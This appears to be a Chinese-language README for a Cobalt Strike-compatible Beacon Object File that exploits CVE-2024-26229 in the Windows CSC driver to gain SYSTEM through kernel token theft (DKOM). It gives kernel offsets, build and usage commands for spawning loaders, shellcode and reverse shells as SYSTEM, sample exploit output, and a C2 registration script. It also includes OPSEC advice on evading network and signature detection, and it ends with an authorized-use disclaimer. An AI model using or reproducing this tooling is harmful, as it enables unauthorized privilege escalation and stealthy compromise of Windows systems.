CVE-2024-26229的Beacon Object File实现——通过DKOM令牌窃取实现Windows CSC驱动程序本地权限提升。
基于RalfHacker/CVE-2024-26229-exploit,转换为具有动态函数解析(DFR)的BOF,用于与支持Cobalt Strike BOF API的C2框架一起使用。
NtCreateFile打开\Device\Mup\;Csc\.\.以获取CSC驱动程序句柄0x001401a3 (CSC_DEV_FCB_XXX_CONTROL_FILE),使用指向KTHREAD->PreviousMode - 0x18的精心构造的输入缓冲区,将PreviousMode从UserMode破坏为KernelModePreviousMode = KernelMode的情况下,NtWriteVirtualMemory可以写入任意内核地址EPROCESS->Token复制到当前进程令牌(DKOM)PreviousMode恢复为UserModeCreateProcessA生成指定的可执行文件——子进程继承SYSTEM令牌beacon进程本身在第4步后变为SYSTEM。生成进程是可选的——如果CreateProcessA失败,beacon仍然是提升的。
HKLM\SYSTEM\CurrentControlSet\Services\CSC → Start = 1)| 偏移量 | 值 | 结构 |
|---|---|---|
EPROCESS->Token | 0x4B8 | Windows 10 19041–19045 / Server 2019 17763 |
KTHREAD->PreviousMode | 0x232 | Windows 10 19041–19045 / Server 2019 17763 |
这些偏移量是版本特定的。如果针对不同的内部版本,请使用WinDbg验证:
dt nt!_EPROCESS Token
dt nt!_KTHREAD PreviousMode
需要mingw-w64和与您的C2框架兼容的beacon.h头文件。
x86_64-w64-mingw32-gcc -c -o cve-2024-26229.x64.o cve-2024-26229.c
将编译后的.o文件放入您的BOF目录中(例如,_bin/cve-2024-26229.x64.o)。
cve-2024-26229 --path <exe_path> [--args "<exe_args>"]
生成带有本地shellcode的加载器:
cve-2024-26229 --path C:\Users\user\loader.exe --args "--munition-local C:\Users\user\payload.bin"
生成反向Shell:
cve-2024-26229 --path C:\Windows\System32\cmd.exe --args "/c C:\Users\user\shell.exe"
无参数运行:
cve-2024-26229 --path C:\Users\user\beacon.exe
[+] System EPROCESS = 0xffff9383f3a62040
[+] Current KTHREAD = 0xffff9383fa4df080
[+] Current EPROCESS = 0xffff9383fa9b3080
[!] DKOM: overwriting EPROCESS->Token
[+] Token replaced -- beacon process is now SYSTEM
[+] Spawned PID 2044 as SYSTEM: C:\Users\user\loader.exe --munition-local C:\Users\user\payload.bin
在您的.axs扩展脚本中注册BOF:
var cmd_cve26229 = ax.create_command(
"cve-2024-26229",
"CVE-2024-26229 CSC driver LPE -- DKOM token theft to SYSTEM",
"cve-2024-26229 --path C:\\loader.exe --args \"--munition-local C:\\payload.bin\""
);
cmd_cve26229.addArgFlagString("--path", "path", "Path to executable to run as SYSTEM", "");
cmd_cve26229.addArgFlagString("--args", "args", "Arguments for the executable", "");
cmd_cve26229.setPreHook(function (id, cmdline, parsed_json, ...parsed_lines) {
let path = parsed_json["path"];
let args = parsed_json["args"];
if (!path) {
ax.task_output(id, "Error: --path is required");
return;
}
let bof_params = ax.bof_pack("cstr,cstr", [path, args]);
let bof_path = ax.script_dir() + "_bin/cve-2024-26229." + ax.arch(id) + ".o";
ax.execute_alias(id, cmdline, `execute bof "${bof_path}" ${bof_params}`, "Task: CVE-2024-26229 LPE");
});
参数打包为cstr,cstr——两个以null结尾的字符串,与BOF中的两个BeaconDataExtract调用匹配。
PreviousMode完全在内核内存中操作。不写入文件,不创建服务,不修改注册表。--munition-local模式),而不是通过HTTP获取,以避免基于网络的检测。CreateProcessA带有CREATE_NO_WINDOW标志。生成的进程继承SYSTEM令牌。如果您的加载器注入到另一个进程(例如svchost.exe),之后可以清理磁盘上的加载器。\Device\Mup\;Csc\.\.的NtCreateFile调用和IOCTL。CreateProcessA调用将生成标准的进程创建事件(事件ID 1)——确保您生成的二进制文件没有被签名检测。PreviousMode恢复 — BOF在令牌复制后将PreviousMode恢复为UserMode。利用后,beacon进程继续正常运行。EPROCESS->Token(0x4B8)和KTHREAD->PreviousMode(0x232)值适用于Windows 10 19041–19045和Server 2019 17763。其他内部版本可能需要调整。sc query csc或注册表HKLM\SYSTEM\CurrentControlSet\Services\CSC(Start = 1)。驱动程序在工作站上默认启用,但在服务器上可能被禁用。此工具仅用于授权的渗透测试和安全研究。
在未拥有或未获得明确书面许可的系统中使用此工具违反越南法律,包括但不限于:
此工具仅供教育目的使用。作者对滥用不承担任何责任。您自行负责确保您的使用符合所有适用的本地、国家和国际法律。
使用此工具即表示您确认已在任何测试活动之前获得系统所有者的适当授权。